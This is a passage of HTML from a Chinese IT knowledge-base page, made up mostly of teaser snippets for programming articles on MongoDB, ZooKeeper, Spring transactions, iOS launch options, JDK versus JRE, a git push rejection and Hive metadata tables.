href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/MongoDB%E7%AE%80%E4%BB%8B/1.htm">MongoDB简介</a> <div>MongoDB简介 转载请出自出处:http://eksliang.iteye.com/blog/2173288 1.1易于使用        MongoDB是一个面向文档的数据库,而不是关系型数据库。与关系型数据库相比,面向文档的数据库不再有行的概念,取而代之的是更为灵活的“文档”模型。        另外,不</div> </li> <li><a href="/article/2974.htm" title="zookeeper windows 入门安装和测试" target="_blank">zookeeper windows 入门安装和测试</a> <span class="text-muted">greemranqq</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E8%A3%85/1.htm">安装</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a> <div>一、序言       以下是我对zookeeper 的一些理解:      zookeeper 作为一个服务注册信息存储的管理工具,好吧,这样说得很抽象,我们举个“栗子”。       栗子1号:       假设我是一家KTV的老板,我同时拥有5家KTV,我肯定得时刻监视</div> </li> <li><a href="/article/3101.htm" title="Spring之使用事务缘由(2-注解实现)" target="_blank">Spring之使用事务缘由(2-注解实现)</a> <span class="text-muted">ihuning</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>  Spring事务注解实现   1. 依赖包:     1.1 spring包:           spring-beans-4.0.0.RELEASE.jar           spring-context-4.0.0.</div> </li> <li><a href="/article/3228.htm" title="iOS App Launch Option" target="_blank">iOS App Launch Option</a> <span class="text-muted">啸笑天</span> <a class="tag" taget="_blank" href="/search/option/1.htm">option</a> <div>iOS 程序启动时总会调用application:didFinishLaunchingWithOptions:,其中第二个参数launchOptions为NSDictionary类型的对象,里面存储有此程序启动的原因。   launchOptions中的可能键值见UIApplication Class Reference的Launch Options Keys节 。 1、若用户直接</div> </li> <li><a href="/article/3355.htm" title="jdk与jre的区别(_)" target="_blank">jdk与jre的区别(_)</a> <span class="text-muted">macroli</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a> <div>简单的说JDK是面向开发人员使用的SDK,它提供了Java的开发环境和运行环境。SDK是Software Development Kit 一般指软件开发包,可以包括函数库、编译程序等。  JDK就是Java Development Kit JRE是Java Runtime Enviroment是指Java的运行环境,是面向Java程序的使用者,而不是开发者。 如果安装了JDK,会发同你</div> </li> <li><a href="/article/3482.htm" title="Updates were rejected because the tip of your current branch is behind" target="_blank">Updates were rejected because the tip of your current branch is behind</a> <span class="text-muted">qiaolevip</span> <a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%B0%B8%E6%97%A0%E6%AD%A2%E5%A2%83/1.htm">学习永无止境</a><a class="tag" taget="_blank" href="/search/%E6%AF%8F%E5%A4%A9%E8%BF%9B%E6%AD%A5%E4%B8%80%E7%82%B9%E7%82%B9/1.htm">每天进步一点点</a><a class="tag" taget="_blank" href="/search/%E4%BC%97%E8%A7%82%E5%8D%83%E8%B1%A1/1.htm">众观千象</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a> <div>$ git push joe prod-2295-1 To git@git.dianrong.com:joe.le/dr-frontend.git ! [rejected] prod-2295-1 -> prod-2295-1 (non-fast-forward) error: failed to push some refs to 'git@git.dianron</div> </li> <li><a href="/article/3609.htm" title="[一起学Hive]之十四-Hive的元数据表结构详解" target="_blank">[一起学Hive]之十四-Hive的元数据表结构详解</a> <span class="text-muted">superlxw1234</span> <a class="tag" taget="_blank" href="/search/hive/1.htm">hive</a><a class="tag" taget="_blank" href="/search/hive%E5%85%83%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">hive元数据结构</a> <div>关键字:Hive元数据、Hive元数据表结构   之前在 “[一起学Hive]之一–Hive概述,Hive是什么”中介绍过,Hive自己维护了一套元数据,用户通过HQL查询时候,Hive首先需要结合元数据,将HQL翻译成MapReduce去执行。 本文介绍一下Hive元数据中重要的一些表结构及用途,以Hive0.13为例。   文章最后面,会以一个示例来全面了解一下,</div> </li> <li><a href="/article/3736.htm" title="Spring 3.2.14,4.1.7,4.2.RC2发布" target="_blank">Spring 3.2.14,4.1.7,4.2.RC2发布</a> <span class="text-muted">wiselyman</span> <a class="tag" taget="_blank" href="/search/Spring+3/1.htm">Spring 3</a> <div>  Spring 3.2.14、4.1.7及4.2.RC2于6月30日发布。   其中Spring 3.2.1是一个维护版本(维护周期到2016-12-31截止),后续会继续根据需求和bug发布维护版本。此时,Spring官方强烈建议升级Spring框架至4.1.7 或者将要发布的4.2 。   其中Spring 4.1.7主要包含这些更新内容。 </div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>